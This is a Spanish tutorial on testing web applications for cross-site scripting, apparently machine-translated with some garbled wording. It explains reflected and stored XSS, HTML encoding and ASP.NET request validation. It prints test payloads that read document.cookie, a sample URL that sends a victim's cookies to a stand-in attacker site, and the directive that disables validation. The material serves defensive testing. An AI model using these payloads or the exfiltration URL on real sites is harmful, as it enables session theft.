Pruebas de seguridad web XSS
El nombre completo de Scripting Scripting Secripting del sitio completo (Scripting Cross Site) es la vulnerabilidad más común en los programas web. Se refiere a un atacante que incrusta los scripts del cliente (como JavaScript) en una página web. Cuando el usuario navega por esta página web, el script se ejecutará en el navegador del usuario, logrando así el propósito del atacante. Por ejemplo, obtener las cookies del usuario, navegar a sitios web maliciosos, llevar troyanos, etc.
Como probador, debe comprender los principios de XSS, escenarios de ataque y cómo solucionarlos. Solo evitando efectivamente XSS.
Contenido de lectura
¿Cómo sucede XSS?
Si hay un cuadro de texto a continuación
<input type = "text" name = "dirección1" value = "value1From">
Value1 de la entrada del usuario. Si el usuario no ingresa a Value1From, sino que entra "/>ió
<input type = "text" name = "dirección1" valor = ""/> <script> alert (document.cookie) </script> <!- ">
Se ejecutará el código JavaScript integrado
O el usuario ingresa "onfocus =" alerta (document.cookie), entonces se convertirá en
<input type = "text" name = "dirección1" value = "" onfocus = "alert (document.cookie)">
Cuando se activa el evento, se ejecutará el código JavaScript integrado
El poder del ataque depende de qué script las entradas del usuario
Por supuesto, los datos enviados por el usuario también se pueden enviar al servidor a través de Querystring (colocado en la URL) y las cookies. Por ejemplo, la siguiente figura
HTML codifica
XSS ocurre porque los datos ingresados por el usuario se convierten en código. Por lo tanto, debemos realizar el procesamiento de codificación HTML en los datos ingresados por el usuario. Codifique caracteres especiales como "Brackets", "Cotizaciones individuales" y "Citas".
Los métodos ya disponibles se proporcionan en C#, solo llame a httputility.htmlencode ("String <Scritp>"). (Requiriendo el sistema. Ensamblaje de vegetal)
Fiddler también proporciona una herramienta muy conveniente, haga clic en el botón "Textwizard" en la barra de herramientas
Escenario de ataque XSS
1. El proceso de ataque de vulnerabilidad XSS basado en DOM es el siguiente
Tom descubrió una vulnerabilidad de XSS en una página en Victim.com.
Por ejemplo: http://victim.com/search.asp?term=apple
El código de la página Search.asp en el servidor es más o menos como sigue
<html> <title> </title> <body> Resultados para <%reequest.querystring ("término")%> ... </body> </html>Tom primero crea un sitio web http://badguy.com para recibir información del "robo".
Luego, Tom construye una URL maliciosa (como sigue) y la envía a Mónica de alguna manera (correo electrónico, QQ)
http://victim.com/search.asp?term= <script> window.open ("http://badguy.com?cookie="+document.cookie) </script>
Mónica hace clic en esta URL, y el código JavaScript malicioso integrado en la URL se ejecutará en el navegador de Mónica. Luego, las cookies de Mónica en el sitio web de Victim.com se enviarán al sitio web de Badguy. De esta manera, Tom robó la información de Mónica en Victim.com.
2. XSS almacenado (vulnerabilidad XSS almacenada), este tipo es una vulnerabilidad que se usa ampliamente y puede afectar la seguridad de los grandes servidores web. El atacante carga el script de ataque al servidor web, lo que hace que todos los usuarios que accedan a la página enfrentan la posibilidad de fuga de información. El proceso de ataque es el siguiente
Alex descubrió una vulnerabilidad de XSS en el Sitio A que permite que el código de ataque se guarde en una base de datos.
Alex ha publicado un artículo con código de JavaScript malicioso incrustado en él.
Cuando otras personas, como Mónica, al acceder a este artículo, el código de JavaScript malicioso integrado en el artículo se ejecutará en el navegador de Mónica, y Alex robará su sesión de cookies u otra información.
La vulnerabilidad de XSS basada en DOM amenaza a los usuarios individuales, mientras que las vulnerabilidades de XSS almacenadas amenazarán a un gran número de usuarios.
Solución de vulnerabilidad XSS
Principio: no confíe en los datos ingresados por el cliente
Nota: El código de ataque no está necesariamente en <Script> </script>
Cómo probar las vulnerabilidades de XSS
Método 1: Vea el código y busque variables clave. El cliente transmite datos al servidor web. Generalmente, de tres maneras, consulta, formularios de forma y cookies. Por ejemplo, en los programas ASP, las variables del cliente se obtienen a través del objeto de solicitud.
<%struserCode = request.QueryString ("código"); struser = request.form ("user"); strid = request.cookies ("id");%>Si la variable no es procesada por htmlencode, entonces hay una vulnerabilidad XSS en esta variable
Método 2: Prepare el script de prueba,
"/><Script>alert(Document.cookie)</script><!-|Script>Alert(Document.cookie)</script><!--"Onclick="alert(document.cookie)
En el cuadro de texto u otros lugares donde se pueden ingresar los datos, ingrese estos scripts de prueba para ver si el cuadro de diálogo puede aparecer. Si puede aparecer, significa que hay una vulnerabilidad de XSS
Consulte qué variables se pasan al servidor web a través de la URL y devuelve los valores de estas variables a nuestro script de prueba. Entonces vea si nuestro script se puede ejecutar
Método 3: prueba automáticamente las vulnerabilidades de XSS
Hay muchas herramientas de escaneo XSS disponibles ahora. La implementación de pruebas automatizadas XSS es muy simple, solo necesita usar la clase HTTPWebRequest. Pon el script de prueba XSS. Enviar al servidor web. Luego verifique si nuestro script de prueba XSS ha sido inyectado en httpwebResponse.
La diferencia entre la codificación HTML y la codificación de URL
Al principio, siempre confundí estas dos cosas, pero de hecho eran dos cosas diferentes.
La codificación HTML se ha introducido antes. La codificación de URL es cumplir con las especificaciones de URL. Porque en la especificación de URL estándar, los chinos y muchos personajes no pueden aparecer en la URL.
Por ejemplo, busque "probar caracteres chinos" en Baidu. La URL se convertirá
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&SHRSV_BP=0&RSV_SPT=3&inputt=7477
La codificación de URL es: todos los caracteres no alfanuméricos serán reemplazados por un signo porcentual (%) seguido de dos números hexadecimales, y los espacios se codificarán como un signo más (+)
Los métodos ya disponibles se proporcionan en C#, solo llame a httputility.urlencode ("String <Scritp>"). (Requiriendo el sistema. Ensamblaje de vegetal)
Fiddler también proporciona una herramienta muy conveniente, haga clic en el botón "Textwizard" en la barra de herramientas
Filtro XSS en el navegador
Para evitar que ocurran XSS, muchos fabricantes de navegadores han agregado mecanismos de seguridad a sus navegadores para filtrar XSS. Por ejemplo, IE8, IE9, Firefox, Chrome. Todos tienen mecanismos de seguridad para XSS. El navegador bloquea XSS. Por ejemplo, la siguiente imagen
Si necesita hacer una prueba, es mejor usar IE7.
Mecanismo de seguridad XSS en ASP.NET
ASP.NET tiene un mecanismo para evitar XSS. El formulario enviado verificará automáticamente si existe XSS. Cuando el usuario intenta ingresar el código XSS, ASP.NET lanzará un error como se muestra en la siguiente figura.
Muchos programadores no tienen idea de la seguridad, y ni siquiera saben que hay XSS. ASP.NET es seguro de forma predeterminada en este punto. De esta manera, incluso los programadores sin conciencia de seguridad pueden escribir un "sitio web más seguro".
Si desea deshabilitar esta función de seguridad, puede usar < %@ página ValidateRequest = "False" %>
Lo anterior es la prueba de seguridad web XSS. Continuaremos organizando materiales de prueba de software relevantes en el futuro. ¡Gracias por su apoyo para este sitio!